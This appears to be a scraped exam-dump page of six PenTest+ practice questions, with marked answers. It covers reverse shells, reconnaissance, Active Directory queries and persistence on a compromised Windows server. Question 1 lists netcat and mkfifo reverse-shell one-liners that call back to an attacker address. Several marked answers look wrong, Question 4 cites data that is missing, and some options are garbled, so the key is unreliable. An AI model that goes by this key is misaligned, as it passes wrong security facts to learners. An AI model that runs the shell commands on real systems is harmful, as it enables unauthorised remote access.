PT0-001 sample questions

Question 1

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell backto the attacking machine at 192.168.1.5.

Which ofthefollowing are possible ways to do so? (Select TWO).

Accepted Answer

nc -nlvp 44444 -e /bin/sh

Accepted Answer

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f

Answer

nc 192.168.1.5 44444

Answer

nc -e /bin/sh 192.168.1.5 44444

Answer

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2)1|nc 192.168.1.5 444444)/tmp/f

Answer

rm /tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh -i 2)1|nc 192.168.5.1 44444)/tmp/f

Question 2

A penetration tester has been assigned to perform an external penetration assessment ofa company.

Which ofthe following steps would BEST help with the passive-information-gathering process? (Choose two.)

Accepted Answer

Search social media for information technology employees who post information about the technologies they work with.

Accepted Answer

Identify the company’s external facing webmail application, enumerate user accounts and attempt password guessing to gain access.

Answer

Wait outside ofthe company’s building and attempt to tailgate behind an employee.

Answer

Perform a vulnerability scan against the company’s external netblock, identify exploitable vulnerabilities, and attempt to gain access.

Answer

Use domain and IP registry websites to identify the company’s external netblocks and external facing applications.

Question 3

A penetration tester has been asked to conduct a penetration test on a REST-based web service.

Which ofthe following items is required?

Accepted Answer

A list of sample application requests

Answer

The latest vulnerability scan results

Answer

An up-to-date list of possible exploits

Answer

A list of sample test accounts

Question 4

A penetration tester is testing a banking application and uncovers a vulnerability. The tester is logged in as a non-privileged user who should have no access to any data. Given the data below from the web interception proxy:

Which ofthe following types ofvulnerabilities is being exploited?

Accepted Answer

Cookie enumeration

Answer

Forced browsing vulnerability

Answer

Parameter pollution vulnerability

Answer

File upload vulnerability

Question 5

A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days.

Which ofthe following commands would BEST accomplish this?

Accepted Answer

dsquery -o -rdn -limit 21

Answer

dsrm -users “DN=company.com; OU=hq CN=users'

Answer

dsuser -name -account -limit 3

Answer

dsquery user -inactive 3

Question 6

A penetration tester has compromised a Windows server and is attempting to achieve persistence.

Which ofthe following would achieve that goal?

Accepted Answer

reg save HKLM\System\CurrentControlSet\Services\Sv.reg

Answer

schtasks.exe /create/tr “powershell.exe Sv.ps1 /run

Answer

net session server | dsquery -user | net use c$

Answer

powershell set-executionpolicy unrestricted

Top vendors

Top exams

Free PT0-001 sample questions

A penetration tester has been assigned to perform an external penetration assessment ofa company. Which ofthe following steps would BEST help with the passive-information-gathering process? (Choose two.)

A penetration tester has been asked to conduct a penetration test on a REST-based web service. Which ofthe following items is required?

A penetration tester is testing a banking application and uncovers a vulnerability. The tester is logged in as a non-privileged user who should have no access to any data. Given the data below from the web interception proxy: Which ofthe following types ofvulnerabilities is being exploited?

A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which ofthe following commands would BEST accomplish this?

A penetration tester has compromised a Windows server and is attempting to achieve persistence. Which ofthe following would achieve that goal?

6 more free samples are waiting